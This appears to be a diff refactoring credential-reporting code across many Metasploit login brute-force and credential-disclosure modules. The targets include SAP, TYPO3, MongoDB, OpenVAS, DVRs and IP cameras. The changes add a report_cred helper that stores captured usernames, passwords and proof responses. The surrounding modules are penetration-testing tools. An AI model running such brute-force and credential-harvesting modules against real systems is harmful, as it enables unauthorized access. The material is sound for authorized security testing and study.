report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: res.body)
return :next_user
end
@@ -130,6 +130,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -142,7 +143,7 @@ class Metasploit3 < Msf::Auxiliary
if result == :success
print_good("#{target_url} - Successful login '#{user}' : '#{pass}'")
report_cred(ip: rhost, port: rport, user: user, password: pass)
report_cred(ip: rhost, port: rport, user: user, password: pass, proof: response.inspect)
return :abort if datastore['STOP_ON_SUCCESS']
return :next_user
else
@@ -97,6 +97,7 @@ class Metasploit3 < Msf::Auxiliary
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -122,7 +123,7 @@ class Metasploit3 < Msf::Auxiliary
print_good("Got creds. Login:#{user} Password:#{pass}")
print_good("Access the admin interface here: #{ip}:#{rport}#{target_uri.path}dashboard/")
report_cred(ip: ip, port: rport, user: user, password: pass)
report_cred(ip: ip, port: rport, user: user, password: pass, proof: res.body)
else
print_error("Zenworks MDM does not appear to be running at #{ip}")
return :abort
@@ -70,6 +70,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
@@ -96,16 +123,14 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 200 and res.body.include?("/iPages/suntab.asp") and res.body.include?("SetWebSessionString"))
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'Oracle Integrated Lights Out Manager Portal',
:user => user,
:pass => pass,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
report_cred(
ip: rhost,
port: rport,
service_name: 'Oracle Integrated Lights Out Manager Portal',
user: user,
password: pass,
proof: res.body
)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
@@ -63,6 +63,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_time: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
@@ -86,16 +113,14 @@ class Metasploit3 < Msf::Auxiliary
if (res && res.code == 200 && res.body.include?("Home Page") && res.headers['Server'] && res.headers['Server'].include?("Smeagol"))
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'PocketPAD Portal',
:user => user,
:pass => pass,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
report_cred(
ip: rhost,
port: rport,
service_name: 'PocketPAD Portal',
user: user,
password: pass,
proof: res.body
)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
@@ -76,6 +76,32 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
@@ -96,16 +122,14 @@ class Metasploit3 < Msf::Auxiliary
if (res and res.code == 302 and res.headers['Location'].include?('redirectId'))
print_good("#{peer} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'Radware AppDirector',
:user => user,
:pass => pass,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
report_cred(
ip: rhost,
port: rport,
service_name: 'Radware AppDirector',
user: user,
password: pass,
proof: res.headers['Location']
)
return :next_user
else
vprint_error("#{peer} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}")
@@ -128,16 +128,14 @@ class Metasploit3 < Msf::Auxiliary
collect_info(user, pass)
report_hash = {
:host => rhost,
:port => rport,
:sname => 'RFCode Reader',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
report_cred(
ip: rhost,
port: rport,
service_name: 'RFCode Reader',
user: user,
password: pass,
proof: res.code.to_s
)
return :next_user
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
@@ -146,6 +144,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Collect target info
#
@@ -50,6 +50,30 @@ class Metasploit3 < Msf::Auxiliary
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def enum_user(user='administrator', pass='pass')
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password:'#{pass}'")
success = false
@@ -89,14 +113,12 @@ class Metasploit3 < Msf::Auxiliary
if success
print_good("#{rhost}:#{rport} - Successful login '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:proto => 'tcp',
:sname => 'sap-businessobjects',
:user => user,
:pass => pass,
:target_host => rhost,
:target_port => rport
report_cred(
ip: rhost,
port: rport,
service_name: 'sap-businessobjects',
user: user,
proof: res.body
)
return :next_user
else
@@ -46,6 +46,33 @@ class Metasploit3 < Msf::Auxiliary
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def enum_user(user, pass)
vprint_status("#{rhost}:#{rport} - Trying username:'#{user}' password: '#{pass}'")
success = false
@@ -79,14 +106,13 @@ class Metasploit3 < Msf::Auxiliary
if success
print_good("[SAP BusinessObjects] Successful login '#{user}' password: '#{pass}'")
report_auth_info(
:host => rhost,
:proto => 'tcp',
:sname => 'sap-businessobjects',
:user => user,
:pass => pass,
:target_host => rhost,
:target_port => rport
report_cred(
ip: rhost,
port: rport,
service_name: 'sap-businessobjects',
user: user,
password: pass,
proof: res.body
)
return :next_user
else
@@ -69,6 +69,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
@@ -85,17 +112,14 @@ class Metasploit3 < Msf::Auxiliary
if res and !res.get_cookies.empty?
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'ServerTech Sentry Switched CDU',
:user => user,
:pass => pass,
:active => true,
:type => 'password'
}
report_auth_info(report_hash)
report_cred(
ip: rhost,
port: rport,
service_name: 'ServerTech Sentry Switched CDU',
user: user,
password: pass,
proof: res.get_cookies.inspect
)
return :next_user
else
+35 -11
View File
@@ -65,6 +65,33 @@ class Metasploit3 < Msf::Auxiliary
return false
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
#
# Brute-force the login page
#
@@ -98,17 +125,14 @@ class Metasploit3 < Msf::Auxiliary
return :skip_pass
else
print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN. '#{user.inspect}' : '#{pass.inspect}'")
report_hash = {
:host => rhost,
:port => rport,
:sname => 'SevOne Network Performance Management System Application',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
report_cred(
ip: rhost,
port: rport,
service_name: 'SevOne Network Performance Management System Application',
user: user,
password: pass,
proof: key
)
return :next_user
end
@@ -148,6 +148,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -190,7 +191,7 @@ class Metasploit3 < Msf::Auxiliary
end
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass)
report_cred(ip: datastore['RHOST'], port: datastore['RPORT'], user:user, password: pass, proof: res.code.to_s)
return :next_user
@@ -80,6 +80,30 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_enum(asset)
begin
res = send_request_cgi({
@@ -121,12 +145,12 @@ class Metasploit3 < Msf::Auxiliary
@users_found[user] = :reported
end
report_auth_info(
:host => rhost,
:sname => (ssl ? 'https' : 'http'),
:user => user,
:port => rport,
:proof => "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}")
report_cred(
ip: rhost,
port: rport,
service_name: (ssl ? 'https' : 'http'),
proof: "WEBAPP=\"Squiz Matrix\", VHOST=#{vhost}"
)
end
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
@@ -39,20 +39,46 @@ class Metasploit3 < Msf::Auxiliary
}
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def try_login(user, pass)
vprint_status("#{peer} - Trying username:'#{user}' password: '#{pass}'")
cookie = typo3_backend_login(user, pass)
if cookie
print_good("#{peer} - Successful login '#{user}' password: '#{pass}'")
report_auth_info({
:host => rhost,
:proto => 'http',
:sname => 'typo3',
:user => user,
:pass => pass,
:target_host => rhost,
:target_port => rport
})
report_cred(
ip: rhost,
port: rport,
service_name: 'typo3',
user: user,
password: pass,
proof: cookie
)
return :next_user
else
vprint_error("#{peer} - failed to login as '#{user}' password: '#{pass}'")
+2 -1
View File
@@ -71,6 +71,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -119,7 +120,7 @@ class Metasploit3 < Msf::Auxiliary
vprint_status("#{peer} - Username found: #{user}")
when /\<a href="process\.php\?logout=1"\>/
print_good("#{peer} - Successful login: \"#{user}:#{pass}\"")
report_cred(ip: rhost, port: rport, user:user, password: pass)
report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.body)
return :next_user
end
end
@@ -151,6 +151,7 @@ class Metasploit3 < Msf::Auxiliary
last_attempted_at: DateTime.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
@@ -205,7 +206,7 @@ class Metasploit3 < Msf::Auxiliary
# Report valid credentials under the CCTV DVR admin port (5920/TCP).
# This is a proprietary protocol.
report_cred(ip: rhost, port: rport, user:user, password: pass)
report_cred(ip: rhost, port: rport, user:user, password: pass, proof: res.inspect)
@valid_hosts << rhost
return :next_user
@@ -138,14 +138,40 @@ class Metasploit3 < Msf::Auxiliary
return
end
report_auth_info({
:host => server,
:port => port,
:sname => 'ftp',
:duplicate_ok => false,
:user => user,
:pass => password
})
report_cred(
ip: server,
port: port,
service_name: 'ftp',
user: user,
password: password,
proof: conf.inspect
)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def get_dvr_credentials(conf)
+35 -6
View File
@@ -11,6 +11,7 @@ class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::SNMPClient
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
@@ -37,6 +38,33 @@ class Metasploit3 < Msf::Auxiliary
datastore['RPORT'] = @org_rport
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
@org_rport = datastore['RPORT']
datastore['RPORT'] = datastore['SNMPPORT']
@@ -80,12 +108,13 @@ class Metasploit3 < Msf::Auxiliary
case response
when "200"
print_good("#{rhost}:#{datastore['HTTPPORT']} logged in as: admin/#{last_six}")
report_auth_info(
:host => rhost,
:port => datastore['HTTPPORT'],
:proto => "tcp",
:user => 'admin',
:pass => last_six
report_cred(
ip: rhost,
port: datastore['HTTPPORT'],
service_name: 'http',
user: 'admin',
password: last_six,
proof: response.inspect
)
when "401"
print_error("Default credentials failed")
@@ -37,6 +37,32 @@ class Metasploit3 < Msf::Auxiliary
register_options( [ Opt::RPORT(9000) ], self.class)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
req =
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x0E\x0F" +
@@ -76,14 +102,14 @@ class Metasploit3 < Msf::Auxiliary
if creds.keys.length > 0
creds.keys.sort.each do |user|
pass = creds[user]
report_auth_info({
:host => rhost,
:port => rport,
:sname => 'dvr',
:duplicate_ok => false,
:user => user,
:pass => pass
})
report_cred(
ip: rhost,
port: rport,
service_name: 'dvr',
user: user,
password: pass,
proof: pass
)
info << "(user='#{user}' pass='#{pass}') "
end
end
@@ -80,16 +80,43 @@ class Metasploit3 < Msf::Auxiliary
#Store the password if the parser returns something
if password
print_status("Password retrieved: #{password.to_s}")
report_auth_info({
:host => rhost,
:port => rport,
:sname => 'ipcam',
:duplicate_ok => false,
:pass => password,
})
report_cred(
ip: rhost,
port: rport,
service_name: 'ipcam',
user: '',
password: password,
proof: password
)
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def parse_reply(pkt)
@results ||= {}
@@ -120,21 +120,47 @@ class Metasploit3 < Msf::Auxiliary
response = sock.recv(1024)
unless have_auth_error?(response)
print_good("#{rhost} - SUCCESSFUL LOGIN '#{user}' : '#{password}'")
report_auth_info({
:host => rhost,
:port => rport,
:sname => 'mongodb',
:user => user,
:pass => password,
:source_type => 'user_supplied',
:active => true
})
report_cred(
ip: rhost,
port: rport,
service_name: 'mongodb',
user: user,
password: password,
proof: response.inspect
)
return :next_user
end
return
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def get_nonce
request_id = Rex::Text.rand_text(4)
packet = "\x3d\x00\x00\x00" # messageLength (61)
+35 -11
View File
@@ -66,23 +66,47 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user='msf', pass='msf')
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
begin
res = @rpc.login(user, pass)
if res
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'msf-rpc',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'msf-rpc',
user: user,
password: pass,
proof: res.body
)
@rpc.close
return :next_user
end
+36 -10
View File
@@ -124,16 +124,14 @@ class Metasploit3 < Msf::Auxiliary
else
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'msf-web',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'msf-web',
user: user,
password: pass,
proof: res.headers['Location']
)
return :next_user
end
rescue ::Rex::ConnectionError, Errno::ECONNREFUSED, Errno::ETIMEDOUT
@@ -141,4 +139,32 @@ class Metasploit3 < Msf::Auxiliary
return :abort
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
end
@@ -64,6 +64,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user=nil,pass=nil)
begin
ntp_send("< NTP/1.0 >\n",true) # send hello
@@ -84,15 +111,15 @@ class Metasploit3 < Msf::Auxiliary
ntp_send("#{pass}\n",!@connected)
if @result =~ /SERVER <|>.*<|> SERVER/is
print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'nessus-ntp',
:user => user,
:pass => pass,
:source_type => "user_supplied",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'nessus-ntp',
user: user,
password: pass,
proof: @result
)
disconnect
@connected = false
return :next_user
@@ -66,6 +66,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user='nxadmin', pass='nxadmin')
vprint_status("Trying username:'#{user}' with password:'#{pass}'")
headers = {
@@ -100,16 +127,14 @@ class Metasploit3 < Msf::Auxiliary
if res.body =~ /LoginResponse.*success="1"/
print_good("SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'nexpose',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'nexpose',
user: user,
password: pass,
proof: res.code.to_s
)
return :next_user
end
end
@@ -101,22 +101,46 @@ class Metasploit3 < Msf::Auxiliary
if res.code == 303
print_good("#{msg} SUCCESSFUL LOGIN. '#{user}' : '#{pass}'")
report_hash = {
:host => datastore['RHOST'],
:port => datastore['RPORT'],
:sname => 'openvas-gsa',
:user => user,
:pass => pass,
:active => true,
:type => 'password'}
report_auth_info(report_hash)
report_cred(
ip: datastore['RHOST'],
port: datastore['RPORT'],
service_name: 'openvas-gsa',
user: user,
password: pass,
proof: res.code.to_s
)
return :next_user
end
vprint_error("#{msg} FAILED LOGIN. '#{user}' : '#{pass}'")
return :skip_pass
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def msg
"#{vhost}:#{rport} OpenVAS gsad -"
end
@@ -60,6 +60,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user=nil,pass=nil)
begin
vprint_status("#{msg} Trying user:'#{user}' with password:'#{pass}'")
@@ -67,14 +94,13 @@ class Metasploit3 < Msf::Auxiliary
omp_send(cmd,true) # send hello
if @result =~ /<authenticate_response.*status="200"/is
print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'openvas-omp',
:user => user,
:pass => pass,
:source_type => "user_supplied",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'openvas-omp',
user: user,
password: pass,
proof: @result
)
disconnect
@connected = false
@@ -61,6 +61,33 @@ class Metasploit3 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def do_login(user=nil,pass=nil)
begin
otp_send("< OTP/1.0 >\n",true) # send hello
@@ -81,14 +108,13 @@ class Metasploit3 < Msf::Auxiliary
otp_send("#{pass}\n",!@connected)
if @result =~ /SERVER <|>.*<|> SERVER/is
print_good("#{msg} SUCCESSFUL login for '#{user}' : '#{pass}'")
report_auth_info(
:host => rhost,
:port => rport,
:sname => 'openvas-otp',
:user => user,
:pass => pass,
:source_type => "user_supplied",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'openvas-otp',
user: user,
password: pass,
proof: @result
)
disconnect
@connected = false
@@ -52,6 +52,32 @@ class Metasploit4 < Msf::Auxiliary
], self.class)
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(ip)
data = '<?xml version="1.0" encoding="utf-8" ?>'
data << '<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">'
@@ -99,12 +125,12 @@ class Metasploit4 < Msf::Auxiliary
else
print_good("[SAP] #{ip}:#{rport} - User '#{datastore['BAPI_USER']}' with password '#{datastore['BAPI_PASSWORD']}' created")
report_auth_info(
:host => ip,
:port => rport,
:sname => "sap",
:user => "#{datastore['BAPI_USER']}",
:pass => "#{datastore['BAPI_PASSWORD']}",
:active => true
ip: ip,
port: rport,
service_name: 'sap',
user: datastore['BAPI_USER'],
password: datastore['BAPI_PASSWORD'],
proof: res.body
)
return
end
@@ -101,6 +101,33 @@ class Metasploit4 < Msf::Auxiliary
end
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
last_attempted_at: Time.now,
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::SUCCESSFUL,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def bruteforce(username,password,client)
uri = normalize_uri(target_uri.path)
@@ -132,15 +159,13 @@ class Metasploit4 < Msf::Auxiliary
if res && res.code == 200 && res.body.include?('RFC_PING')
print_good("#{peer} [SAP] Client #{client}, valid credentials #{username}:#{password}")
report_auth_info(
:host => rhost,
:port => rport,
:sname => "sap",
:proto => "tcp",
:user => username,
:pass => password,
:proof => "SAP Client: #{client}",
:active => true
report_cred(
ip: rhost,
port: rport,
service_name: 'sap',
user: username,
password: password,
proof: "SAP Client: #{client}"
)
return true
end
